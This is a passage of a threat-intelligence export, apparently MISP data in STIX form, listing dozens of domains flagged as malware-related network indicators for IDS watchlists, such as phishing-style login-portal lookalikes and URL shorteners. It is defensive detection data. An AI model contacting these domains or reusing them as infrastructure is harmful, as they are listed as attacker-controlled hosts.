basicruoffshore.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovcriminalgang.com (MISP Attribute #18583) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovcriminalgang.com (MISP Attribute #18583) + + + + + ablyazovcriminalgang.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicsgoffshore.com (MISP Attribute #18839) + Malware Artifacts + Domain Watchlist + Network activity: basicsgoffshore.com (MISP Attribute #18839) + + + + + basicsgoffshore.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovgang.com (MISP Attribute #18584) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovgang.com (MISP Attribute #18584) + + + + + ablyazovgang.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginportal.com (MISP Attribute #18840) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginportal.com (MISP Attribute #18840) + + + + + onlineloginportal.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovcriminals.com (MISP Attribute #18585) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovcriminals.com (MISP Attribute #18585) + + + + + ablyazovcriminals.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginportalhk.com (MISP Attribute #18841) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginportalhk.com (MISP Attribute #18841) + + + + + onlineloginportalhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovcrimestory.com (MISP Attribute #18586) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovcrimestory.com (MISP Attribute #18586) + + + + + ablyazovcrimestory.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginportalmy.com (MISP Attribute #18842) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginportalmy.com (MISP Attribute #18842) + + + + + onlineloginportalmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovmafia.com (MISP Attribute #18587) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovmafia.com (MISP Attribute #18587) + + + + + ablyazovmafia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlineloginportalsg.com (MISP Attribute #18843) + Malware Artifacts + Domain Watchlist + Network activity: onlineloginportalsg.com (MISP Attribute #18843) + + + + + onlineloginportalsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovcrimesyndicate.com (MISP Attribute #18588) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovcrimesyndicate.com (MISP Attribute #18588) + + + + + ablyazovcrimesyndicate.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: personaldoaminru.com (MISP Attribute #18844) + Malware Artifacts + Domain Watchlist + Network activity: personaldoaminru.com (MISP Attribute #18844) + + + + + personaldoaminru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovorganisedcrime.com (MISP Attribute #18589) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovorganisedcrime.com (MISP Attribute #18589) + + + + + ablyazovorganisedcrime.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: personaldoaminsg.com (MISP Attribute #18845) + Malware Artifacts + Domain Watchlist + Network activity: personaldoaminsg.com (MISP Attribute #18845) + + + + + personaldoaminsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linkshrtnr22.com (MISP Attribute #18590) + Malware Artifacts + Domain Watchlist + Network activity: linkshrtnr22.com (MISP Attribute #18590) + + + + + linkshrtnr22.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainexpertswebuk.com (MISP Attribute #18846) + Malware Artifacts + Domain Watchlist + Network activity: domainexpertswebuk.com (MISP Attribute #18846) + + + + + domainexpertswebuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ablyazovangels.com (MISP Attribute #18591) + Malware Artifacts + Domain Watchlist + Network activity: ablyazovangels.com (MISP Attribute #18591) + + + + + ablyazovangels.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serviceasneed.com (MISP Attribute #18847) + Malware Artifacts + Domain Watchlist + Network activity: serviceasneed.com (MISP Attribute #18847) + + + + + serviceasneed.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sapserver39j.com (MISP Attribute #18592) + Malware Artifacts + Domain Watchlist + Network activity: sapserver39j.com (MISP Attribute #18592) + + + + + sapserver39j.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webdomainexperts.com (MISP Attribute #18848) + Malware Artifacts + Domain Watchlist + Network activity: webdomainexperts.com (MISP Attribute #18848) + + + + + webdomainexperts.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pageserver299.com (MISP Attribute #18593) + Malware Artifacts + Domain Watchlist + Network activity: pageserver299.com (MISP Attribute #18593) + + + + + pageserver299.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: buzzoffbul.com (MISP Attribute #18849) + Malware Artifacts + Domain Watchlist + Network activity: buzzoffbul.com (MISP Attribute #18849) + + + + + buzzoffbul.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shadymario.com (MISP Attribute #18594) + Malware Artifacts + Domain Watchlist + Network activity: shadymario.com (MISP Attribute #18594) + + + + + shadymario.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: buzzoffhk.com (MISP Attribute #18850) + Malware Artifacts + Domain Watchlist + Network activity: buzzoffhk.com (MISP Attribute #18850) + + + + + buzzoffhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailserver399.com (MISP Attribute #18595) + Malware Artifacts + Domain Watchlist + Network activity: emailserver399.com (MISP Attribute #18595) + + + + + emailserver399.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: buzzoffmy.com (MISP Attribute #18851) + Malware Artifacts + Domain Watchlist + Network activity: buzzoffmy.com (MISP Attribute #18851) + + + + + buzzoffmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: newserver39.com (MISP Attribute #18596) + Malware Artifacts + Domain Watchlist + Network activity: newserver39.com (MISP Attribute #18596) + + + + + newserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: buzzoffru.com (MISP Attribute #18852) + Malware Artifacts + Domain Watchlist + Network activity: buzzoffru.com (MISP Attribute #18852) + + + + + buzzoffru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: maildeliveryagent.com (MISP Attribute #18597) + Malware Artifacts + Domain Watchlist + Network activity: maildeliveryagent.com (MISP Attribute #18597) + + + + + maildeliveryagent.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: buzzoffsg.com (MISP Attribute #18853) + Malware Artifacts + Domain Watchlist + Network activity: buzzoffsg.com (MISP Attribute #18853) + + + + + buzzoffsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hbh-europe-ripoff-report.com (MISP Attribute #18598) + Malware Artifacts + Domain Watchlist + Network activity: hbh-europe-ripoff-report.com (MISP Attribute #18598) + + + + + hbh-europe-ripoff-report.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostbasichk.com (MISP Attribute #18854) + Malware Artifacts + Domain Watchlist + Network activity: hostbasichk.com (MISP Attribute #18854) + + + + + hostbasichk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortformurl.com (MISP Attribute #18599) + Malware Artifacts + Domain Watchlist + Network activity: shortformurl.com (MISP Attribute #18599) + + + + + shortformurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostbasicholl.com (MISP Attribute #18855) + Malware Artifacts + Domain Watchlist + Network activity: hostbasicholl.com (MISP Attribute #18855) + + + + + hostbasicholl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortformurl.xyz (MISP Attribute #18600) + Malware Artifacts + Domain Watchlist + Network activity: shortformurl.xyz (MISP Attribute #18600) + + + + + shortformurl.xyz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostbasicmy.com (MISP Attribute #18856) + Malware Artifacts + Domain Watchlist + Network activity: hostbasicmy.com (MISP Attribute #18856) + + + + + hostbasicmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webredirect39.com (MISP Attribute #18601) + Malware Artifacts + Domain Watchlist + Network activity: webredirect39.com (MISP Attribute #18601) + + + + + webredirect39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostbasicru.com (MISP Attribute #18857) + Malware Artifacts + Domain Watchlist + Network activity: hostbasicru.com (MISP Attribute #18857) + + + + + hostbasicru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: logserver39.com (MISP Attribute #18602) + Malware Artifacts + Domain Watchlist + Network activity: logserver39.com (MISP Attribute #18602) + + + + + logserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostbasicsg.com (MISP Attribute #18858) + Malware Artifacts + Domain Watchlist + Network activity: hostbasicsg.com (MISP Attribute #18858) + + + + + hostbasicsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmasterserver39.com (MISP Attribute #18603) + Malware Artifacts + Domain Watchlist + Network activity: webmasterserver39.com (MISP Attribute #18603) + + + + + webmasterserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: demoprojectsuk.com (MISP Attribute #18859) + Malware Artifacts + Domain Watchlist + Network activity: demoprojectsuk.com (MISP Attribute #18859) + + + + + demoprojectsuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webnetonlineservice.com (MISP Attribute #18604) + Malware Artifacts + Domain Watchlist + Network activity: webnetonlineservice.com (MISP Attribute #18604) + + + + + webnetonlineservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortnerserviceonline.com (MISP Attribute #18860) + Malware Artifacts + Domain Watchlist + Network activity: shortnerserviceonline.com (MISP Attribute #18860) + + + + + shortnerserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: redirectonline.xyz (MISP Attribute #18605) + Malware Artifacts + Domain Watchlist + Network activity: redirectonline.xyz (MISP Attribute #18605) + + + + + redirectonline.xyz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hklinbas.com (MISP Attribute #18861) + Malware Artifacts + Domain Watchlist + Network activity: hklinbas.com (MISP Attribute #18861) + + + + + hklinbas.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: homeserver87.com (MISP Attribute #18606) + Malware Artifacts + Domain Watchlist + Network activity: homeserver87.com (MISP Attribute #18606) + + + + + homeserver87.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: luxlinbas.com (MISP Attribute #18862) + Malware Artifacts + Domain Watchlist + Network activity: luxlinbas.com (MISP Attribute #18862) + + + + + luxlinbas.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netcomserviceonline.com (MISP Attribute #18607) + Malware Artifacts + Domain Watchlist + Network activity: netcomserviceonline.com (MISP Attribute #18607) + + + + + netcomserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mylinbas.com (MISP Attribute #18863) + Malware Artifacts + Domain Watchlist + Network activity: mylinbas.com (MISP Attribute #18863) + + + + + mylinbas.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servermappingserviceonline.com (MISP Attribute #18608) + Malware Artifacts + Domain Watchlist + Network activity: servermappingserviceonline.com (MISP Attribute #18608) + + + + + servermappingserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ruslinbas.com (MISP Attribute #18864) + Malware Artifacts + Domain Watchlist + Network activity: ruslinbas.com (MISP Attribute #18864) + + + + + ruslinbas.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlinenetworkinghelp.com (MISP Attribute #18609) + Malware Artifacts + Domain Watchlist + Network activity: onlinenetworkinghelp.com (MISP Attribute #18609) + + + + + onlinenetworkinghelp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sglinbas.com (MISP Attribute #18865) + Malware Artifacts + Domain Watchlist + Network activity: sglinbas.com (MISP Attribute #18865) + + + + + sglinbas.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginauths-service.com (MISP Attribute #18610) + Malware Artifacts + Domain Watchlist + Network activity: loginauths-service.com (MISP Attribute #18610) + + + + + loginauths-service.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverfortechies.com (MISP Attribute #18866) + Malware Artifacts + Domain Watchlist + Network activity: serverfortechies.com (MISP Attribute #18866) + + + + + serverfortechies.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: softnetworksolutions.com (MISP Attribute #18611) + Malware Artifacts + Domain Watchlist + Network activity: softnetworksolutions.com (MISP Attribute #18611) + + + + + softnetworksolutions.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicservicehk.com (MISP Attribute #18867) + Malware Artifacts + Domain Watchlist + Network activity: basicservicehk.com (MISP Attribute #18867) + + + + + basicservicehk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ultronnetworksolution.com (MISP Attribute #18612) + Malware Artifacts + Domain Watchlist + Network activity: ultronnetworksolution.com (MISP Attribute #18612) + + + + + ultronnetworksolution.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicservicelux.com (MISP Attribute #18868) + Malware Artifacts + Domain Watchlist + Network activity: basicservicelux.com (MISP Attribute #18868) + + + + + basicservicelux.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: softredirect.info (MISP Attribute #18613) + Malware Artifacts + Domain Watchlist + Network activity: softredirect.info (MISP Attribute #18613) + + + + + softredirect.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicservicemy.com (MISP Attribute #18869) + Malware Artifacts + Domain Watchlist + Network activity: basicservicemy.com (MISP Attribute #18869) + + + + + basicservicemy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: extranetserviceonline.com (MISP Attribute #18614) + Malware Artifacts + Domain Watchlist + Network activity: extranetserviceonline.com (MISP Attribute #18614) + + + + + extranetserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicservicerus.com (MISP Attribute #18870) + Malware Artifacts + Domain Watchlist + Network activity: basicservicerus.com (MISP Attribute #18870) + + + + + basicservicerus.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: short-ner.com (MISP Attribute #18615) + Malware Artifacts + Domain Watchlist + Network activity: short-ner.com (MISP Attribute #18615) + + + + + short-ner.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basicservicesg.com (MISP Attribute #18871) + Malware Artifacts + Domain Watchlist + Network activity: basicservicesg.com (MISP Attribute #18871) + + + + + basicservicesg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserveruk.com (MISP Attribute #18616) + Malware Artifacts + Domain Watchlist + Network activity: mailserveruk.com (MISP Attribute #18616) + + + + + mailserveruk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhelphk.com (MISP Attribute #18872) + Malware Artifacts + Domain Watchlist + Network activity: serverforhelphk.com (MISP Attribute #18872) + + + + + serverforhelphk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mywebredirect.info (MISP Attribute #18617) + Malware Artifacts + Domain Watchlist + Network activity: mywebredirect.info (MISP Attribute #18617) + + + + + mywebredirect.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhelpru.com (MISP Attribute #18873) + Malware Artifacts + Domain Watchlist + Network activity: serverforhelpru.com (MISP Attribute #18873) + + + + + serverforhelpru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: srtnr.co (MISP Attribute #18618) + Malware Artifacts + Domain Watchlist + Network activity: srtnr.co (MISP Attribute #18618) + + + + + srtnr.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhelpsg.com (MISP Attribute #18874) + Malware Artifacts + Domain Watchlist + Network activity: serverforhelpsg.com (MISP Attribute #18874) + + + + + serverforhelpsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cyberanalyticals.com (MISP Attribute #18619) + Malware Artifacts + Domain Watchlist + Network activity: cyberanalyticals.com (MISP Attribute #18619) + + + + + cyberanalyticals.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainforhostuk.com (MISP Attribute #18875) + Malware Artifacts + Domain Watchlist + Network activity: domainforhostuk.com (MISP Attribute #18875) + + + + + domainforhostuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-logger.com (MISP Attribute #18620) + Malware Artifacts + Domain Watchlist + Network activity: mail-logger.com (MISP Attribute #18620) + + + + + mail-logger.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: transferdomainhk.com (MISP Attribute #18876) + Malware Artifacts + Domain Watchlist + Network activity: transferdomainhk.com (MISP Attribute #18876) + + + + + transferdomainhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailer-domain.com (MISP Attribute #18621) + Malware Artifacts + Domain Watchlist + Network activity: mailer-domain.com (MISP Attribute #18621) + + + + + mailer-domain.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: transferdomainlu.com (MISP Attribute #18877) + Malware Artifacts + Domain Watchlist + Network activity: transferdomainlu.com (MISP Attribute #18877) + + + + + transferdomainlu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servermailing34.com (MISP Attribute #18622) + Malware Artifacts + Domain Watchlist + Network activity: servermailing34.com (MISP Attribute #18622) + + + + + servermailing34.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: transferdomainmy.com (MISP Attribute #18878) + Malware Artifacts + Domain Watchlist + Network activity: transferdomainmy.com (MISP Attribute #18878) + + + + + transferdomainmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nodeserver50.com (MISP Attribute #18623) + Malware Artifacts + Domain Watchlist + Network activity: nodeserver50.com (MISP Attribute #18623) + + + + + nodeserver50.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shoponlinefreesg.com (MISP Attribute #18879) + Malware Artifacts + Domain Watchlist + Network activity: shoponlinefreesg.com (MISP Attribute #18879) + + + + + shoponlinefreesg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: rackserver39.com (MISP Attribute #18624) + Malware Artifacts + Domain Watchlist + Network activity: rackserver39.com (MISP Attribute #18624) + + + + + rackserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shoponlinefreeuk.com (MISP Attribute #18880) + Malware Artifacts + Domain Watchlist + Network activity: shoponlinefreeuk.com (MISP Attribute #18880) + + + + + shoponlinefreeuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailerdomain56.com (MISP Attribute #18625) + Malware Artifacts + Domain Watchlist + Network activity: mailerdomain56.com (MISP Attribute #18625) + + + + + mailerdomain56.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shrinkandshareurl.com (MISP Attribute #18881) + Malware Artifacts + Domain Watchlist + Network activity: shrinkandshareurl.com (MISP Attribute #18881) + + + + + shrinkandshareurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginserviceunified.com (MISP Attribute #18626) + Malware Artifacts + Domain Watchlist + Network activity: loginserviceunified.com (MISP Attribute #18626) + + + + + loginserviceunified.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: strngbltru.com (MISP Attribute #18882) + Malware Artifacts + Domain Watchlist + Network activity: strngbltru.com (MISP Attribute #18882) + + + + + strngbltru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: comservicelogin.com (MISP Attribute #18627) + Malware Artifacts + Domain Watchlist + Network activity: comservicelogin.com (MISP Attribute #18627) + + + + + comservicelogin.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionalblogginges.com (MISP Attribute #18883) + Malware Artifacts + Domain Watchlist + Network activity: optionalblogginges.com (MISP Attribute #18883) + + + + + optionalblogginges.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 4mblk.com (MISP Attribute #18628) + Malware Artifacts + Domain Watchlist + Network activity: 4mblk.com (MISP Attribute #18628) + + + + + 4mblk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionalbloggingeu.com (MISP Attribute #18884) + Malware Artifacts + Domain Watchlist + Network activity: optionalbloggingeu.com (MISP Attribute #18884) + + + + + optionalbloggingeu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-en-us.com (MISP Attribute #18629) + Malware Artifacts + Domain Watchlist + Network activity: corn-en-us.com (MISP Attribute #18629) + + + + + corn-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionalblogginguk.com (MISP Attribute #18885) + Malware Artifacts + Domain Watchlist + Network activity: optionalblogginguk.com (MISP Attribute #18885) + + + + + optionalblogginguk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-en-gb.com (MISP Attribute #18630) + Malware Artifacts + Domain Watchlist + Network activity: corn-en-gb.com (MISP Attribute #18630) + + + + + corn-en-gb.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shrinkthisurl.com (MISP Attribute #18886) + Malware Artifacts + Domain Watchlist + Network activity: shrinkthisurl.com (MISP Attribute #18886) + + + + + shrinkthisurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-lang-eng.com (MISP Attribute #18631) + Malware Artifacts + Domain Watchlist + Network activity: corn-lang-eng.com (MISP Attribute #18631) + + + + + corn-lang-eng.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: updatenameserver45.com (MISP Attribute #18887) + Malware Artifacts + Domain Watchlist + Network activity: updatenameserver45.com (MISP Attribute #18887) + + + + + updatenameserver45.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-loginservicesverified.com (MISP Attribute #18632) + Malware Artifacts + Domain Watchlist + Network activity: corn-loginservicesverified.com (MISP Attribute #18632) + + + + + corn-loginservicesverified.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: rulinuxbasic.com (MISP Attribute #18888) + Malware Artifacts + Domain Watchlist + Network activity: rulinuxbasic.com (MISP Attribute #18888) + + + + + rulinuxbasic.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-msrvrgr.com (MISP Attribute #18633) + Malware Artifacts + Domain Watchlist + Network activity: corn-msrvrgr.com (MISP Attribute #18633) + + + + + corn-msrvrgr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: russialinuxbasic.com (MISP Attribute #18889) + Malware Artifacts + Domain Watchlist + Network activity: russialinuxbasic.com (MISP Attribute #18889) + + + + + russialinuxbasic.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-servicelogin.com (MISP Attribute #18634) + Malware Artifacts + Domain Watchlist + Network activity: corn-servicelogin.com (MISP Attribute #18634) + + + + + corn-servicelogin.com + + + + + High + Derived from MISP's IDS 